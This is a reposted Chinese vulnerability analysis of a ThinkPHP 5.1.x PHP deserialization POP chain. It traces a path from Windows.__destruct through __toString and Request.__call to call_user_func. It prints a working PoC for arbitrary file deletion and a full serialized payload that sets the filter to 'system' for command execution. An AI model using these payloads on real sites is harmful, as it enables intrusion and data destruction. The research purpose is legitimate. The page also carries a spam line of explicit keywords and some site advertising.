bl双性强迫侵犯h_国产在线观看人成激情视频_蜜芽188_被诱拐的少孩全彩啪啪漫画

Thinkphp反序列化利用鏈深入分析

作者:Ethan@知道創(chuàng)宇404實驗室
時間:2019年9月21日

成都創(chuàng)新互聯(lián)主要從事成都網(wǎng)站制作、網(wǎng)站設(shè)計、外貿(mào)網(wǎng)站建設(shè)、網(wǎng)頁設(shè)計、企業(yè)做網(wǎng)站、公司建網(wǎng)站等業(yè)務(wù)。立足成都服務(wù)黃巖,十載網(wǎng)站建設(shè)經(jīng)驗,價格優(yōu)惠、服務(wù)專業(yè),歡迎來電咨詢建站服務(wù):13518219792

前言

今年7月份,ThinkPHP 5.1.x爆出來了一個反序列化漏洞。之前沒有分析過關(guān)于ThinkPHP的反序列化漏洞。今天就探討一下ThinkPHP的反序列化問題!

環(huán)境搭建
  • Thinkphp 5.1.35
  • php 7.0.12
漏洞挖掘思路

在剛接觸反序列化漏洞的時候,更多遇到的是在魔術(shù)方法中,因此自動調(diào)用魔術(shù)方法而觸發(fā)漏洞。但如果漏洞觸發(fā)代碼不在魔法函數(shù)中,而在一個類的普通方法中。并且魔法函數(shù)通過屬性(對象)調(diào)用了一些函數(shù),恰巧在其他的類中有同名的函數(shù)(pop鏈)。這時候可以通過尋找相同的函數(shù)名將類的屬性和敏感函數(shù)的屬性聯(lián)系起來。

漏洞分析

首先漏洞的起點為 /thinkphp/library/think/process/pipes/Windows.php__destruct()

Thinkphp 反序列化利用鏈深入分析

__destruct()里面調(diào)用了兩個函數(shù),我們跟進(jìn) removeFiles()函數(shù)。

class Windows extends Pipes{
    private $files = [];
    ....
    private function removeFiles()
    {
        foreach ($this->files as $filename) {
            if (file_exists($filename)) {
                @unlink($filename);
            }
        }
        $this->files = [];
    }
    ....}

這里使用了 $this->files,而且這里的 $files是可控的。所以存在一個任意文件刪除的漏洞。

POC可以這樣構(gòu)造:

namespace think\process\pipes;
class Pipes{
}
class Windows extends Pipes
{
private $files = [];
public function __construct()
{
$this->files=['需要刪除文件的路徑'];
}
}
echo base64_encode(serialize(new Windows()));

這里只需要一個反序列化漏洞的觸發(fā)點,便可以實現(xiàn)任意文件刪除。

removeFiles()中使用了 file_exists$filename進(jìn)行了處理。我們進(jìn)入 file_exists函數(shù)可以知道, $filename會被作為字符串處理。

Thinkphp 反序列化利用鏈深入分析

__toString 當(dāng)一個對象被反序列化后又被當(dāng)做字符串使用時會被觸發(fā),我們通過傳入一個對象來觸發(fā) __toString 方法。我們?nèi)炙阉?__toString方法。

Thinkphp 反序列化利用鏈深入分析

我們跟進(jìn) \thinkphp\library\think\model\concern\Conversion.php的Conversion類的第224行,這里調(diào)用了一個 toJson()方法。

    .....
    public function __toString()
    {
        return $this->toJson();
    }
    .....

跟進(jìn) toJson()方法

    ....
    public function toJson($options = JSON_UNESCAPED_UNICODE)
    {
        return json_encode($this->toArray(), $options);
    }
    ....

繼續(xù)跟進(jìn) toArray()方法

   public function toArray()
    {
        $item    = [];
        $visible = [];
        $hidden  = [];
        .....
        // 追加屬性(必須定義獲取器)        if (!empty($this->append)) {
            foreach ($this->append as $key => $name) {
                if (is_array($name)) {
                    // 追加關(guān)聯(lián)對象屬性                    $relation = $this->getRelation($key);
                    if (!$relation) {
                        $relation = $this->getAttr($key);
                        $relation->visible($name);
                    }
            .....

我們需要在 toArray()函數(shù)中尋找一個滿足 $可控變量->方法(參數(shù)可控)的點,首先,這里調(diào)用了一個 getRelation方法。我們跟進(jìn) getRelation(),它位于 Attribute類中

    ....
    public function getRelation($name = null)
    {
        if (is_null($name)) {
            return $this->relation;
        } elseif (array_key_exists($name, $this->relation)) {
            return $this->relation[$name];
        }
        return;
    }
    ....

由于 getRelation()下面的 if語句為 if (!$relation),所以這里不用理會,返回空即可。然后調(diào)用了 getAttr方法,我們跟進(jìn) getAttr方法

public function getAttr($name, &$item = null)
    {
        try {
            $notFound = false;
            $value    = $this->getData($name);
        } catch (InvalidArgumentException $e) {
            $notFound = true;
            $value    = null;
        }
        ......

繼續(xù)跟進(jìn) getData方法

   public function getData($name = null)
    {
        if (is_null($name)) {
            return $this->data;
        } elseif (array_key_exists($name, $this->data)) {
            return $this->data[$name];
        } elseif (array_key_exists($name, $this->relation)) {
            return $this->relation[$name];
        }

通過查看 getData函數(shù)我們可以知道 $relation的值為 $this->data[$name],需要注意的一點是這里類的定義使用的是 Trait而不是 class。自 PHP 5.4.0 起,PHP 實現(xiàn)了一種代碼復(fù)用的方法,稱為  trait。通過在類中使用 use 關(guān)鍵字,聲明要組合的Trait名稱。所以,這里類的繼承要使用 use關(guān)鍵字。然后我們需要找到一個子類同時繼承了 Attribute類和 Conversion類。

我們可以在 \thinkphp\library\think\Model.php中找到這樣一個類

abstract class Model implements \JsonSerializable, \ArrayAccess{
    use model\concern\Attribute;
    use model\concern\RelationShip;
    use model\concern\ModelEvent;
    use model\concern\TimeStamp;
    use model\concern\Conversion;
    .......

我們梳理一下目前我們需要控制的變量

  1. $files位于類 Windows
  2. $append位于類 Conversion
  3. $data位于類 Attribute

利用鏈如下:

Thinkphp 反序列化利用鏈深入分析

代碼執(zhí)行點分析

我們現(xiàn)在缺少一個進(jìn)行代碼執(zhí)行的點,在這個類中需要沒有 visible方法。并且最好存在 __call方法,因為 __call一般會存在 __call_user_func__call_user_func_array,php代碼執(zhí)行的終點經(jīng)常選擇這里。我們不止一次在Thinkphp的rce中見到這兩個方法。可以在 /thinkphp/library/think/Request.php,找到一個 __call函數(shù)。 __call 調(diào)用不可訪問或不存在的方法時被調(diào)用。

   ......
   public function __call($method, $args)
    {
        if (array_key_exists($method, $this->hook)) {
            array_unshift($args, $this);
            return call_user_func_array($this->hook[$method], $args);
        }
        throw new Exception('method not exists:' . static::class . '->' . $method);
    }
   .....

但是這里我們只能控制 $args,所以這里很難反序列化成功,但是  $hook這里是可控的,所以我們可以構(gòu)造一個hook數(shù)組 "visable"=>"method",但是 array_unshift()向數(shù)組插入新元素時會將新數(shù)組的值將被插入到數(shù)組的開頭。這種情況下我們是構(gòu)造不出可用的payload的。

在Thinkphp的Request類中還有一個功能 filter功能,事實上Thinkphp多個RCE都與這個功能有關(guān)。我們可以嘗試覆蓋 filter的方法去執(zhí)行代碼。

代碼位于第1456行。

  ....
  private function filterValue(&$value, $key, $filters)
    {
        $default = array_pop($filters);
        foreach ($filters as $filter) {
            if (is_callable($filter)) {
                // 調(diào)用函數(shù)或者方法過濾                $value = call_user_func($filter, $value);
            }
            .....

但這里的 $value不可控,所以我們需要找到可以控制 $value的點。

....
    public function input($data = [], $name = '', $default = null, $filter = '')
    {
        if (false === $name) {
            // 獲取原始數(shù)據(jù)
            return $data;
        }
        ....
       // 解析過濾器
        $filter = $this->getFilter($filter, $default);
        if (is_array($data)) {
            array_walk_recursive($data, [$this, 'filterValue'], $filter);
            if (version_compare(PHP_VERSION, '7.1.0', '<')) {
                // 恢復(fù)PHP版本低于 7.1 時 array_walk_recursive 中消耗的內(nèi)部指針
                $this->arrayReset($data);
            }
        } else {
            $this->filterValue($data, $name, $filter);
        }
.....

但是input函數(shù)的參數(shù)不可控,所以我們還得繼續(xù)尋找可控點。我們繼續(xù)找一個調(diào)用 input函數(shù)的地方。我們找到了 param函數(shù)。

   public function param($name = '', $default = null, $filter = '')
    {
         ......
        if (true === $name) {
            // 獲取包含文件上傳信息的數(shù)組            $file = $this->file();
            $data = is_array($file) ? array_merge($this->param, $file) : $this->param;
            return $this->input($data, '', $default, $filter);
        }
        return $this->input($this->param, $name, $default, $filter);
    }

這里仍然是不可控的,所以我們繼續(xù)找調(diào)用 param函數(shù)的地方。找到了 isAjax函數(shù)

    public function isAjax($ajax = false)
    {
        $value  = $this->server('HTTP_X_REQUESTED_WITH');
        $result = 'xmlhttprequest' == strtolower($value) ? true : false;
        if (true === $ajax) {
            return $result;
        }
        $result           = $this->param($this->config['var_ajax']) ? true : $result;
        $this->mergeParam = false;
        return $result;
    }

isAjax函數(shù)中,我們可以控制 $this->config['var_ajax']$this->config['var_ajax']可控就意味著 param函數(shù)中的 $name可控。 param函數(shù)中的 $name可控就意味著 input函數(shù)中的 $name可控。

param函數(shù)可以獲得 $_GET數(shù)組并賦值給 $this->param

再回到 input函數(shù)中

$data = $this->getData($data, $name);

$name的值來自于 $this->config['var_ajax'],我們跟進(jìn) getData函數(shù)。

    protected function getData(array $data, $name)
    {
        foreach (explode('.', $name) as $val) {
            if (isset($data[$val])) {
                $data = $data[$val];
            } else {
                return;
            }
        }
        return $data;
    }

這里 $data直接等于 $data[$val]

然后跟進(jìn) getFilter函數(shù)

    protected function getFilter($filter, $default)
    {
        if (is_null($filter)) {
            $filter = [];
        } else {
            $filter = $filter ?: $this->filter;
            if (is_string($filter) && false === strpos($filter, '/')) {
                $filter = explode(',', $filter);
            } else {
                $filter = (array) $filter;
            }
        }
        $filter[] = $default;
        return $filter;
    }

這里的 $filter來自于 this->filter,我們需要定義 this->filter為函數(shù)名。

我們再來看一下 input函數(shù),有這么幾行代碼

....if (is_array($data)) {
            array_walk_recursive($data, [$this, 'filterValue'], $filter);
            ...

這是一個回調(diào)函數(shù),跟進(jìn) filterValue函數(shù)。

    private function filterValue(&$value, $key, $filters)
    {
        $default = array_pop($filters);
        foreach ($filters as $filter) {
            if (is_callable($filter)) {
                // 調(diào)用函數(shù)或者方法過濾                $value = call_user_func($filter, $value);
            } elseif (is_scalar($value)) {
                if (false !== strpos($filter, '/')) {
                    // 正則過濾                    if (!preg_match($filter, $value)) {
                        // 匹配不成功返回默認(rèn)值                        $value = $default;
                        break;
                    }
         .......

通過分析我們可以發(fā)現(xiàn) filterValue.value的值為第一個通過 GET請求的值,而 filters.keyGET請求的鍵,并且 filters.filters就等于 input.filters的值。

我們嘗試構(gòu)造payload,這里需要 namespace定義命名空間

<?phpnamespace think;abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["ethan"=>["calc.exe","calc"]];
        $this->data = ["ethan"=>new Request()];
    }}class Request{
    protected $hook = [];
    protected $filter = "system";
    protected $config = [
        // 表單請求類型偽裝變量        'var_method'       => '_method',
        // 表單ajax偽裝變量        'var_ajax'         => '_ajax',
        // 表單pjax偽裝變量        'var_pjax'         => '_pjax',
        // PATHINFO變量名 用于兼容模式        'var_pathinfo'     => 's',
        // 兼容PATH_INFO獲取        'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
        // 默認(rèn)全局過濾方法 用逗號分隔多個        'default_filter'   => '',
        // 域名根,如thinkphp.cn        'url_domain_root'  => '',
        // HTTPS代理標(biāo)識        'https_agent_name' => '',
        // IP代理獲取標(biāo)識        'http_agent_ip'    => 'HTTP_X_REAL_IP',
        // URL偽靜態(tài)后綴        'url_html_suffix'  => 'html',
    ];
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>''];
        $this->hook = ["visible"=>[$this,"isAjax"]];
    }}namespace think\process\pipes;use think\model\concern\Conversion;use think\model\Pivot;class Windows{
    private $files = [];
    public function __construct()
    {
        $this->files=[new Pivot()];
    }}namespace think\model;use think\Model;class Pivot extends Model{}use think\process\pipes\Windows;echo base64_encode(serialize(new Windows()));?>

首先自己構(gòu)造一個利用點,別問我為什么,這個漏洞就是需要后期開發(fā)的時候有利用點,才能觸發(fā)

Thinkphp 反序列化利用鏈深入分析

我們把payload通過 POST傳過去,然后通過 GET請求獲取需要執(zhí)行的命令

Thinkphp 反序列化利用鏈深入分析

執(zhí)行點如下:

Thinkphp 反序列化利用鏈深入分析

利用鏈如下:

Thinkphp 反序列化利用鏈深入分析

參考文章

https://blog.riskivy.com/挖掘暗藏thinkphp中的反序列利用鏈/

https://xz.aliyun.com/t/3674

https://www.cnblogs.com/iamstudy/articles/php_object_injection_pop_chain.html

http://www.f4ckweb.top/index.php/archives/73/

https://cl0und.github.io/2017/10/01/POP%E9%93%BE%E5%AD%A6%E4%B9%A0/

標(biāo)題名稱:Thinkphp反序列化利用鏈深入分析
網(wǎng)頁地址:http://vcdvsql.cn/article22/iipecc.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供移動網(wǎng)站建設(shè)定制網(wǎng)站域名注冊虛擬主機(jī)企業(yè)建站自適應(yīng)網(wǎng)站

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)

營銷型網(wǎng)站建設(shè)